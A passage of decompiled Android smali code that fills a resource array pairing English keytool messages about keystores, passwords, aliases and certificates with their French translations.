                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Avertissement\u00a0: Les mots de passe store et key distincts ne sont pas pris en charge pour les keystores PKCS12. La valeur {0} sp\u00e9cifi\u00e9e par l\'utilisateur est ignor\u00e9e."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-keystore doit \u00eatre d\u00e9fini sur NONE si -storetype est {0}"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "Trop de tentatives, fin du programme"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "Les commandes -storepasswd et -keypasswd ne sont pas prises en charge si -storetype est d\u00e9fini sur {0}"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "Les commandes -keypasswd ne sont pas prises en charge si -storetype est d\u00e9fini sur PKCS12"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "Les commandes -keypass et -new ne peuvent pas \u00eatre sp\u00e9cifi\u00e9es si -storetype est d\u00e9fini sur {0}"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "si -protected est sp\u00e9cifi\u00e9, alors -storepass, -keypass et -new ne doivent pas \u00eatre sp\u00e9cifi\u00e9s"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "Si \u0096srcprotected est sp\u00e9cifi\u00e9, alors -srcstorepass et \u0096srckeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9s"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "Si le keystore n\'est pas prot\u00e9g\u00e9 par un mot de passe, les commandes -storepass, -keypass et -new ne doivent pas \u00eatre sp\u00e9cifi\u00e9es"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "Si le keystore source n\'est pas prot\u00e9g\u00e9 par un mot de passe, les commandes -srcstorepass et -srckeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9es"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "La validit\u00e9 doit \u00eatre sup\u00e9rieure \u00e0 z\u00e9ro"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} n\'\'est pas un fournisseur"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Erreur d\'utilisation\u00a0: aucune commande fournie"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Erreur d\'utilisation, {0} n\'est pas une commande valide"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "Le fichier du keystore source existe, mais il est vide\u00a0: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "veuillez sp\u00e9cifier -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "-v et -rfc ne peuvent \u00eatre sp\u00e9cifi\u00e9s simultan\u00e9ment avec la commande \'list\'"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "Un mot de passe de cl\u00e9 doit comporter au moins 6 caract\u00e8res"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "Le nouveau mot de passe doit comporter au moins 6 caract\u00e8res"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Fichier Keystore existant mais vide : "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Fichier Keystore introuvable : "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "L\'alias de destination doit \u00eatre sp\u00e9cifi\u00e9"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "Vous devez sp\u00e9cifier un alias"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Un mot de passe de Keystore doit comporter au moins 6 caract\u00e8res"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Tapez le mot de passe du Keystore : "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Saisissez le mot de passe du keystore source\u00a0: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Saisissez le mot de passe du keystore de destination\u00a0: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Mot de passe de Keystore trop court, il doit compter au moins 6 caract\u00e8res"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Type d\'entr\u00e9e inconnu"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Trop d\'erreurs. Alias non modifi\u00e9"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "L\'entr\u00e9e de l\'alias {0} a \u00e9t\u00e9 import\u00e9e."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "L\'entr\u00e9e de l\'alias {0} n\'a pas \u00e9t\u00e9 import\u00e9e."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Probl\u00e8me lors de l\'importation de l\'entr\u00e9e de l\'alias {0}\u00a0: {1}.\nL\'entr\u00e9e de l\'alias {0} n\'a pas \u00e9t\u00e9 import\u00e9e."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Commande d\'importation ex\u00e9cut\u00e9e\u00a0: {0} entr\u00e9es import\u00e9es, \u00e9chec ou annulation de {1} entr\u00e9es"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Avertissement\u00a0: L\'alias existant {0} est \u00e9cras\u00e9 dans le keystore de destination"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "L\'alias d\'entr\u00e9e {0} existe d\u00e9j\u00e0, voulez-vous l\'\u00e9craser\u00a0? [non]\u00a0: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "Trop d\'erreurs - r\u00e9essayez plus tard"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "Demande de certification enregistr\u00e9e dans le fichier <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Soumettre \u00e0 votre CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "si l\'alias n\'est pas sp\u00e9cifi\u00e9, destalias, srckeypass et destkeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9s"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Certificat enregistr\u00e9 dans le fichier <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "R\u00e9ponse de certificat install\u00e9e dans le Keystore"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "R\u00e9ponse de certificat non install\u00e9e dans le Keystore"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Certificat ajout\u00e9 au Keystore"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "Certificat non ajout\u00e9 au Keystore"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[Stockage de {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} ne poss\u00e8de pas de cl\u00e9 publique (certificat)"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "Impossible de d\u00e9duire l\'algorithme de signature"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "Alias <{0}> introuvable"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "L\'\'alias <{0}> ne poss\u00e8de pas de certificat"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "Paire de cl\u00e9s non g\u00e9n\u00e9r\u00e9e, l\'\'alias <{0}> existe d\u00e9j\u00e0"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "Impossible de d\u00e9duire l\'algorithme de signature"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "G\u00e9n\u00e9ration d\'\'une paire de cl\u00e9s {1} de {0} bits et d\'\'un certificat autosign\u00e9 ({2}) d\'\'une validit\u00e9 de {3} jours\n\tpour : {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Sp\u00e9cifiez le mot de passe de la cl\u00e9 pour <{0}>"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(appuyez sur Entr\u00e9e s\'il s\'agit du mot de passe du Keystore) : "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "Le mot de passe de cl\u00e9 doit comporter au moins 6 caract\u00e8res."
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "Trop d\'erreurs - cl\u00e9 non ajout\u00e9e au Keystore"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "L\'\'alias de la destination <{0}> existe d\u00e9j\u00e0"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "Le mot de passe doit comporter au moins 6 caract\u00e8res."
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "Trop d\'erreurs. Entr\u00e9e de cl\u00e9 non clon\u00e9e"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "mot de passe de cl\u00e9 pour <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "L\'\'entr\u00e9e Keystore pour <{0}> existe d\u00e9j\u00e0"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Cr\u00e9ation d\'\'une entr\u00e9e keystore pour <{0}> ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "Aucune entr\u00e9e ajout\u00e9e \u00e0 partir de la base de donn\u00e9es d\'identit\u00e9s"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Nom d\'\'alias : {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Date de cr\u00e9ation : {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Type d\'entr\u00e9e\u00a0: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "Longueur de cha\u00eene du certificat : "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Certificat[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Empreinte du certificat (MD5) : "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Type d\'entr\u00e9e : trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Type Keystore : "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Fournisseur Keystore : "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Votre Keystore contient {0,number,integer} entr\u00e9e(s)"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Votre Keystore contient {0,number,integer} entr\u00e9e(s)"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "L\'analyse de l\'entr\u00e9e a \u00e9chou\u00e9"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Entr\u00e9e vide"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "Pas un certificat X.509"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "Impossible de d\u00e9duire l\'algorithme de signature"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} ne poss\u00e8de pas de cl\u00e9 publique"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
